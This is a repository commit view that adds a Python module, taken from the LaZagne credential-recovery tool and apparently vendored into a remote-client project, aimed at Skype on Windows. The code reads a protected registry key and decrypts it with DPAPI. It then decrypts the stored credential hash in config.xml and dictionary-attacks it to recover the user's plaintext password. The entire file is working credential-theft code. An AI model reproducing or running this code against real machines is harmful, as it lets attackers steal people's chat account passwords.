summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/chats/skype.py
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/chats/skype.py')
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/skype.py144
1 files changed, 144 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/chats/skype.py b/foreign/client_handling/lazagne/softwares/chats/skype.py
new file mode 100644
index 0000000..7970c7b
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/skype.py
@@ -0,0 +1,144 @@
+# -*- coding: utf-8 -*-
+import binascii
+import hashlib
+import os
+import struct
+from xml.etree.cElementTree import ElementTree
+
+import foreign.client_handling.lazagne.config.winstructure as win
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.dico import get_dic
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+
+class Skype(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True)
+
+ self.pwd_found = []
+
+ def aes_encrypt(self, message, passphrase):
+ iv = '\x00' * 16
+ aes = AESModeOfOperationCBC(passphrase, iv=iv)
+ return aes.encrypt(message)
+
+ # get value used to build the salt
+ def get_regkey(self):
+ try:
+ key_path = 'Software\\Skype\\ProtectedStorage'
+ try:
+ hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path)
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ # num = winreg.QueryInfoKey(hkey)[1]
+ k = winreg.EnumValue(hkey, 0)[1]
+ return win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ # get hash from foreign.client_handling.lazagne.configuration file
+ def get_hash_credential(self, xml_file):
+ tree = ElementTree(file=xml_file)
+ encrypted_hash = tree.find('Lib/Account/Credentials3')
+ if encrypted_hash is not None:
+ return encrypted_hash.text
+ else:
+ return False
+
+ # decrypt hash to get the md5 to bruteforce
+ def get_md5_hash(self, enc_hex, key):
+ # convert hash from hex to binary
+ enc_binary = binascii.unhexlify(enc_hex)
+
+ # retrieve the salt
+ salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest()
+
+ # encrypt value used with the XOR operation
+ aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16]
+
+ # XOR operation
+ decrypted = []
+ for d in range(16):
+ decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0])
+
+ # cast the result byte
+ tmp = ''
+ for dec in decrypted:
+ tmp = tmp + struct.pack(">I", dec).strip('\x00')
+
+ # byte to hex
+ return binascii.hexlify(tmp)
+
+ def dictionary_attack(self, login, md5):
+ wordlist = constant.password_found + get_dic()
+ for word in wordlist:
+ hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest()
+ if hash_ == md5:
+ return word
+ return False
+
+ def get_username(self, path):
+ xml_file = os.path.join(path, u'shared.xml')
+ if os.path.exists(xml_file):
+ tree = ElementTree(file=xml_file)
+ username = tree.find('Lib/Account/Default')
+ try:
+ return win.string_to_unicode(username.text)
+ except Exception:
+ pass
+ return False
+
+ def get_info(self, key, username, path):
+ if os.path.exists(os.path.join(path, u'config.xml')):
+ values = {}
+
+ try:
+ values['Login'] = username
+
+ # get encrypted hash from the config file
+ enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml'))
+
+ if not enc_hex:
+ self.warning(u'No credential stored on the config.xml file.')
+ else:
+ # decrypt the hash to get the md5 to brue force
+ values['Hash'] = self.get_md5_hash(enc_hex, key)
+ values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n<password>'
+
+ # Try a dictionary attack on the hash
+ password = self.dictionary_attack(values['Login'], values['Hash'])
+ if password:
+ values['Password'] = password
+
+ self.pwd_found.append(values)
+ except Exception as e:
+ self.debug(str(e))
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'Skype')
+ if os.path.exists(path):
+ # retrieve the key used to build the salt
+ key = self.get_regkey()
+ if not key:
+ self.error(u'The salt has not been retrieved')
+ else:
+ username = self.get_username(path)
+ if username:
+ d = os.path.join(path, username)
+ if os.path.exists(d):
+ self.get_info(key, username, d)
+
+ if not self.pwd_found:
+ for d in os.listdir(path):
+ self.get_info(key, d, os.path.join(path, d))
+
+ return self.pwd_found